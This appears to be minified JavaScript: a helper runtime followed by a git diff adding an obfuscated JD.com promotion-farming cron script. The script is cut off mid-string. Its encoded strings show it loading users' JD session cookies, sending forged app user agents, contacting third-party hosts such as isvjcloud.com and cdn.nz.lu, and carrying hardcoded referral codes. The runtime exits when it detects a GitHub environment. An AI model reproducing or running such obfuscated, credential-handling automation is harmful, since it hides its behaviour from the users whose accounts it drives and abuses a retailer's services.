"0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_mpdz_car_task.js b/jd_mpdz_car_task.js new file mode 100644 index 0000000..810a06e --- /dev/null +++ b/jd_mpdz_car_task.js @@ -0,0 +1,8 @@ +/* +#头文字j任务 +16 16,17,18 * * * jd_mpdz_car_task.js, tag=文字j任务, enabled=true +*/ +var _0xod9='jsjiami.com.v6',_0xod9_=['‮_0xod9'],_0x6f5a=[_0xod9,'ZHdmWVU=','TXhwZ1g=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','cnpwanA=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','QmNXVkE=','YWN0aXZpdHlVcmw=','V3lmR2o=','eFpTZWY=','TVJBUHU=','ZllpbnM=','WVVibXY=','dm1mcGM=','UVRXVlA=','RVhvemw=','ZXp5dVg=','Z2V0','dVlxU3U=','RU9ESHY=','cXJSWWU=','VkxsZU4=','dktBaW0=','Sk5Tems=','Y2xaVE8=','dG9VcHBlckNhc2U=','U0lHTl9VUkw=','RXlyTlk=','V2FZWVY=','R3JQcng=','T3hBRXQ=','alltUFo=','YmxOY1g=','VVpFY1Y=','VnJYa3Y=','YmluZFdpdGhWZW5kZXI=','dGNpdXA=','dWlNelQ=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','T2toSnk=','WEJ3cVg=','SmFiZno=','T2hVb2k=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','RGN4bGc=','T3N5aVU=','eE1FbFY=','bXRjZnk=','Q1ZGZWk=','REZ6QUM=','VFRCR1k=','VFpWTUE=','YmlpWlU=','a3NNSHk=','UEZNdW8=','WHFGRUE=','bU5JYk4=','Y0tDSm4=','VHlkSUM=','aHdVT2Q=','Z1pOUmk=','Z1NXYnQ=','Z0FMR2s=','QUFNR2g=','bFRxZ3k=','bVR2b3k=','c0licEU=','Q3pPZ2E=','YWh0cUw=','c214Z0M=','aHJKZEg=','U3Npb1o=','T1ZRT2E=','cHp6R3M=','Z01ydlU=','TG9raG4=','YnpkR0Q=','YkRTeVQ=','RGlsSkk=','QWtIZWg=','S3FMcXc=','SXZRZm4=','bHhrTEs=','Zk9wc24=','WVFJc3U=','Z3prYWE=','eG1ScEo=','RWtpcXQ=','bmd3bks=','WHFFSkY=','UFhnbm4=','c3lwdEE=','Tk94R00=','cVR0R0c=','dkVDeHA=','T0l6RUE=','SkRrR0w=','bU1DYVQ=','dkJGUnM=','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','RW5iWUI=','d014a2s=','bGJ5YW0=','UllrQmw=','TlV4c1I=','SHBCdWY=','S0RTZXI=','anZYTks=','YVN1eGg=','UGVZQ3k=','c2J1SU0=','Z3JNZmQ=','SUxvRlM=','WkxPa04=','U3FYZEk=','TkJrZkE=','YVNsakY=','UmFBY1A=','dkNuS08=','a0dieEI=','akJoenY=','aEtpU1g=','UE1xZlA=','bmdXZng=','d0hpWEQ=','bXBkei1jYXItZHouaXN2amNsb3VkLmNvbQ==','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','YXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOA==','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29t','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29tL2pkYmV2ZXJhZ2UvcGFnZXMvcGFva3UvcGFva3U/Yml6RXh0U3RyaW5nPSZmcm9tPWtvdWxpbmcmc2lkPSZ1bl9hcmVhPQ==','aHR0cHM6Ly9tcGR6LWNhci1kei5pc3ZqY2xvdWQuY29tL2RtL2Zyb250L2pkQ2FyZFJ1bm5pbmcv','P29wZW5faWQ9Jm1peF9uaWNrPQ==','JnVzZXJfaWQ9','JnB1c2hfd2F5PTEmdXNlcl9pZD0=','T3ZXTkI=','QVRta1k=','ZXpOWW8=','YkpoemE=','Zk1ZUWc=','TW5UWVg=','S25rQ2I=','Ym9XbWw=','TVJHWW8=','WlFqSUQ=','VEdZT2w=','TFROZWM=','eUl4a04=','WEJWenk=','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','bGVzTmU=','aURKVmI=','Tk5tdWo=','Z2pFaFY=','c1pNdVM=','elNmZWQ=','alhKbGI=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHprai1pc3YuaXN2amNsb3VkLmNvbSUyMiUyQyUyMCUyMmlkJTIyJTNBJTIwJTIyJTIyJTdEJnV1aWQ9aGp1ZHdnb2h4elZ1OTZrcnYmY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249OS40LjAmc3Q9MTYyMDQ3NjE2MjAwMCZzdj0xMTEmc2lnbj1mOWQxYjdlM2I5NDNiNmExMzZkNTRmZTRmODkyYWYwNQ==','Y3NkUGE=','ZGpBWVQ=','YnJzTnU=','a2dZcnA=','T1JRVVM=','anBhWnM=','VWlTU2s=','WHhaRVg=','c3pudEw=','RnViREI=','bERuS3k=','SkpUUGE=','alZXa0c=','bUhXTW0=','a2FXQ0k=','RlNOQkg=','V215Wm0=','QWdrVEk=','UHVEcFk=','ZUlRTEw=','c250dm8=','Y3lSZnA=','cGFRckI=','V0l2Qkg=','UXdMWEw=','S1RlVk8=','QWZYa2k=','YVdNTW4=','QmhpZW4=','bVp5Wk0=','cVRxcEc=','VlJtSlQ=','cmRKcG8=','dXNlckluZm8=','YmFzZUluZm8=','bmlja25hbWU=','SnRqWnY=','RkNEbm0=','MTAwMQ==','QW5qUmo=','aFlJV2I=','dmZhRUE=','VlJzanA=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','ZG5NZWE=','QmNLdWc=','bWhOd0U=','RUhTcEE=','cmRkdVQ=','dEhSdFA=','dW5qd0k=','T2FkUEk=','dlRhUGo=','bk5VQ00=','THFWeW0=','TVN6Zkg=','SHVsQ2o=','WFBienE=','WVVoaGE=','YWx5aUI=','aFhUZGc=','V29zTWo=','dVFLTm0=','VW1ITHE=','VmF0bVo=','bXNOc1Q=','UkNoSU4=','akpTblM=','SHFFdWQ=','bFV5Q1A=','cWZMeE0=','b2VwV1Q=','UFp6Z1Q=','TXVqY2E=','cEdNYWQ=','UWp1eEo=','Z3VMd3g=','YURtWnQ=','aVhDRUI=','TlNwU0s=','bG9nRXJy','bWd2cVc=','dmtyaUw=','YUtPR1o=','YWlvdk4=','cmV0Y29kZQ==','ZWd2TnA=','T05YRlM=','aGFzT3duUHJvcGVydHk=','c0xNVHE=','dmVvTFo=','Rk9sRGk=','SGRWQXU=','WXhKRHU=','a1dubXo=','ZVZVQ0I=','RW1Nck0=','dmtMZEc=','cVZDY1o=','amtqV3o=','UmVFTXY=','U2JqUmQ=','c1hhU1I=','dkhJT3o=','blh4RkE=','eEl1VU4=','c3ZJSHE=','eHZXYWQ=','eWNEWmU=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','amRzaWduLmNm','ZmV0RGg=','ZWRZWmY=','QWFPc2M=','aUdpa2I=','cHpwd2I=','THBVU20=','TG15bkc=','ckd3Sko=','S0pxaXo=','S3lLWVk=','eW52c2g=','WFp3Qmc=','WWlMbkc=','TE5kaUM=','Vmpsanc=','dUdtUnc=','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','b2ZSYUI=','ZmdBZVM=','dHJUV1o=','Tldacmg=','YXBwbHk=','V1hpWGg=','b29hTms=','WVBncEU=','dEVmT0g=','dk9lVEM=','ZG94cXo=','Ym9CZGI=','THZDYVM=','UUtkZ3I=','RGpEcUQ=','cmVTdlQ=','dWlVdkE=','cnFSdnc=','dGh4Q2g=','UFZ2Y20=','dGhOQUc=','TWJWbUY=','VWlVcEk=','5aS05paH5a2Xag==','aXNOb2Rl','Li9qZENvb2tpZS5qcw==','Li9zZW5kTm90aWZ5','Y3J5cHRvLWpz','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llc0pE','cGFyc2U=','bWFw','Y29va2ll','cmV2ZXJzZQ==','Q29va2llSkQy','Q29va2llSkQ=','ZmlsdGVy','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','5rS75Yqo5YeG5aSHLi4u6ZqP5py65bu26L+f','amhWcXg=','VGZoTkI=','YUxOUFQ=','RVFkWkw=','ekJEbWE=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','ZnVNQjZ0MExIZHRxN0RjOHBtK1R3RjR0TE5ZQTRzZXVBNjdNT0lZUXhFazNWbDkrQVZvNE5GK3RneWVJYzZBNmtkSzNyTEJRcEVRSDlWNHRkcnJoMHc9PQ==','bllYeTk2R3FvTkxtb1pZV016VGhIMTR0TE5ZQTRzZXVBNjdNT0lZUXhFazNWbDkrQVZvNE5GK3RneWVJYzZBNmtkSzNyTEJRcEVRSDlWNHRkcnJoMHc9PQ==','TklJR0gxRTNpaHAranVrTU03VWZrVjR0TE5ZQTRzZXVBNjdNT0lZUXhFazNWbDkrQVZvNE5GK3RneWVJYzZBNmtkSzNyTEJRcEVRSDlWNHRkcnJoMHc9PQ==','Z0hMbGRCSkxQZG92T05BekFqUFRVTWpOaE5hWUZ5Mkh0ZUVyRTZpemxoVGY5bnJHWTdnQmtDZEdVNEM2ei94RA==','VXMzRXo3OWpXbytFanhFc3RGWGVBc2pOaE5hWUZ5Mkh0ZUVyRTZpemxoVGY5bnJHWTdnQmtDZEdVNEM2ei94RA==','SW9BK2xwY2VwR2FQYkpzVk9rT0IwbDR0TE5ZQTRzZXVBNjdNT0lZUXhFazNWbDkrQVZvNE5GK3RneWVJYzZBNmtkSzNyTEJRcEVRSDlWNHRkcnJoMHc9PQ==','R1N1MExMVi9hL2tSekZHVCtrejBWbDR0TE5ZQTRzZXVBNjdNT0lZUXhFazNWbDkrQVZvNE5GK3RneWVJYzZBNmtkSzNyTEJRcEVRSDlWNHRkcnJoMHc9PQ==','Zi9CbWNSMm1DWUVtT0NWZWhVUnR2Y2pOaE5hWUZ5Mkh0ZUVyRTZpemxoVGY5bnJHWTdnQmtDZEdVNEM2ei94RA==','MjE2OTkwNDU=','MTAyOTkxNzE=','MTc2MDAwNw==','bXNn','bmFtZQ==','ZVF4d3A=','UEFPS3Q=','YWN0Q29kZQ==','bFJTamM=','VlBSeUQ=','bGVuZ3Ro','c2xpY2U=','ZUNYSnk=','YkhES0c=','anp2ZXQ=','QktlT1E=','SFVrQUk=','U0ROQ3g=','Zm9JRUE=','c3VjY2Vzcw==','cmVzdWx0','aW50ZXJlc3RzUnVsZUxpc3Q=','b3BlbkNhcmRBY3Rpdml0eUlk','aW50ZXJlc3RzSW5mbw==','YWN0aXZpdHlJZA==','YWxs','WmhZZFc=','S1ppSms=','WnJnRnM=','VXNlck5hbWU=','RVFRaHY=','bWF0Y2g=','aW5kZXg=','blpqbEM=','aXNMb2dpbg==','bmlja05hbWU=','dXdUaWs=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','YmVhbg==','QURJRA==','UHZCWUU=','RmZ4ZHA=','VVVJRA==','ckRWSUM=','QVhGZ1Q=','eHRtdWs=','TEVQT1E=','dmZPZHU=','ZUR0aHU=','V0Nwc04=','TXh3eGE=','ZnFnTVk=','YXBwa2V5','bUFTTUk=','dXNlcklk','TnB3V1c=','YWN0SWQ=','RGFRVnU=','YXV0aG9yQ29kZQ==','dVhseUY=','cGpCem8=','d2FpdA==','UVNxQUw=','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','ODU2MjMzMTIwNDQyNTg0NjQzMjUyMjc2NjY4ODM1NDY=','MjU3NDc3MTc=','JTI3','JTdF','YXBwS2V5','YWRtSnNvbg==','dGltZXN0YW1w','YWN0aXZpdHkvbG9hZA==','c3FJREs=','MS7liqnlipvnoIEgLT4g','eWVtTmE=','akJrSE8=','5ZCO6Z2i55qE5bCG57uZ6L+Z5Liq5Yqp5Yqb56CB5Yqp5YqbIC0+IA==','Mi7ljrvliqnlipsgLT4=','bWlzc2lvbi9jb21wbGV0ZU1pc3Npb24=','c2hhcmVBY3Q=','My7ojrflj5bku7vliqHliJfooaggLT4=','bWlzc2lvbi9jb21wbGV0ZVN0YXRl','YmluZ0Nhcg==','b3BlbkNhcmQ=','cGF5VHJhZGU=','clZhWnY=','TUtkZnE=','Y29sbGVjdFNob3A=','Y3VzU2hvcC9nZXRDdXNTaG9w','5YWz5rOo5bqX6ZO6SUQg','YWRkQ2FydA==','RFBFalM=','Y3VzU2hvcC9nZXRDdXNTaG9wUHJvZHVjdA==','IOS7u+WKoeW3sue7j+WujOaIkA==','MHwyfDR8MXw1fDM=','NC7njqnmuLjmiI8gLT4=','cmVwb3J0L3RlbXBvcmFyeQ==','a2FpU2hpWW91WGk=','MV/nlLXnk7bovaY=','Z2FtZS9wbGF5R2FtZQ==','55S155O26L2m','Z2FtZS9zZW5kR2FtZUF3YXJk','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','YnV5ZXJOaWNr','YWN0aXZpdHlJbmZv','dGFza0xpc3Q=','Sm53ZWQ=','U3VwY04=','d3d3ckY=','dVBlU0c=','Q1hBVUk=','VXR0d1k=','bGhjZUQ=','dUNkTlg=','WmJVenM=','Z09zUHY=','WW1Xa3E=','QnJxaW8=','YmdkY0g=','akpnWk8=','Vk1zR3o=','cXlKeWk=','b1p6ZFU=','U0ljVE8=','UktjRmg=','dHlwZQ==','VHhpU0g=','QUZ3Tko=','RnN6dmc=','eWZtRmc=','eVRtWHc=','aVJPUFU=','WUFjVGs=','aWZiQVg=','aXNDb21wbGV0ZQ==','bWlzc2lvbk5hbWU=','Ukp1Tm0=','dXhIZ2w=','dUVwbWw=','dmZJcU0=','VWZOUnQ=','Z2V0Q3VzU2hvcHNob3BJZA==','aFZlRVY=','VWhPbmg=','WlNGcXo=','T0tBSWQ=','aGRtang=','bHVQUFU=','Z2V0Q3VzU2hvcFByb2R1Y3RudW1JZA==','UG9heGM=','dHZMd0k=','QUFSbEs=','bnlsY2g=','cmVtYWluQ2hhbmNl','TVpIYlY=','c3BsaXQ=','UFhxc0k=','UVhPalo=','VHB5SXo=','QWRWenM=','TlNVTkY=','Y1hER3k=','RkV3UGs=','TmpWQUc=','d1BtZmw=','Z2FtZUxvZ0lk','dmFsdWVPZg==','T012YUk=','T0dpUmg=','c3RyaW5naWZ5','SEx3TmY=','cmVwbGFjZQ==','a3V1TFc=','SGZxcWk=','YkNyY1E=','eHVXbFc=','dWdCcm0=','cWxrSEE=','Q0lDSmk=','SVRLZFU=','dFJIRlE=','TUQ1','dG9Mb3dlckNhc2U=','dG9TdHJpbmc=','dFdMVXU=','d1BVb3g=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','dFNUUEg=','eGtZR1Y=','aHZNRUI=','ZGpoT1A=','RHVZcnk=','RVVoTm4=','cFFUZXE=','QlhpTWc=','TE15R2M=','Z01MckQ=','5Lqs5Lic5rKh5pyJ6L+U5Zue5pWw5o2u','Q2JpWHY=','Mi4w','UE9TVA==','b1RMSks=','ekN6ano=','L2pkQ2FyZFJ1bm5pbmcv','YXNzaWdu','cGFyYW1z','cWRtQUw=','Y29tbW9uUGFyYW1ldGVy','c2lnbg==','dGltZVN0YW1w','Q3hCZ0Q=','cXlWbEw=','dXVvbmo=','Z1FmVHo=','SnRPUVQ=','SVlkWnQ=','WGJVWFk=','ZERYWGY=','SE9DUUo=','ZXFOaXM=','TEhHY3A=','Ym1WbHo=','TWRuY24=','TG9WbVE=','dlFYdm0=','ZExwZmI=','UU1pblc=','eUJEbUQ=','bWdQU1U=','RkhackI=','aU9Kd1k=','aVVnWFE=','TEtpUE0=','TUlFYkk=','VXVPU1E=','RkRhdm0=','Q3ZQZVg=','UU5xWXc=','akFmR20=','cG9zdA==','dlJXdWE=','c1RRUXE=','RURIY2w=','ZXRMSlI=','bUlrREE=','V3N2QU4=','TlZMaUM=','ZGF0YQ==','c3RhdHVz','SnF3cmo=','enBFc04=','UGJkV1U=','bWlzc2lvbkN1c3RvbWVy','dXNlcl9pZA==','Y3VzQWN0aXZpdHk=','YWN0VXBMb2FkSWQ=','aU1janA=','SE1DS1I=','dG1EQkk=','ek12d0w=','Z0tqYWg=','cmVtYXJr','Zmxvb3I=','VkRjQW4=','cmFuZG9t','VlRsVUE=','T1FZQ0w=','Y3VzU2hvcA==','c2hvcElk','RVFlbkw=','Y3VzU2hvcFByb2R1Y3Q=','bnVtSWQ=','WlhjeVA=','ZnFhZHA=','Slltd1k=','b2d4YWU=','ckNzR1I=','SFlmd2c=','dHBRQ3g=','bGdQWFQ=','Y29kZQ==','TWdoRGM=','T2dJWFU=','SEpKb1I=','UEl0Rno=','YWN0aXZpdGllc19wbGF0Zm9ybQ==','NEFWUWFvK2VIOFE4a3ZtWG5XbWtHOGVmL2ZOcjVmZGVqbkQ5KzlVZ2JlYz0=','aHR0cHM6Ly9hcGkubS5qZC5jb20v','cGFydGljaXBhdGVJbnZpdGVUYXNr','YXBpLm0uamQuY29t','YXBwbGljYXRpb24vanNvbiwgdGV4dC9wbGFpbiwgKi8q','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbQ==','emgtQ04semgtSGFucztxPTAuOQ==','Li9KU19VU0VSX0FHRU5UUw==','SlNVQQ==','J2pkbHRhcHA7aVBhZDszLjEuMDsxNC40O25ldHdvcmsvd2lmaTtNb3ppbGxhLzUuMCAoaVBhZDsgQ1BVIE9TIDE0XzQgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbS8=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwaWRTaWdu','WHBNVU8=','cHl4SHM=','TXRRZXU=','Y3lHTGs=','ZnVuY3Rpb25JZD1UYXNrSW52aXRlU2VydmljZSZib2R5PQ==','eUtOdUY=','Z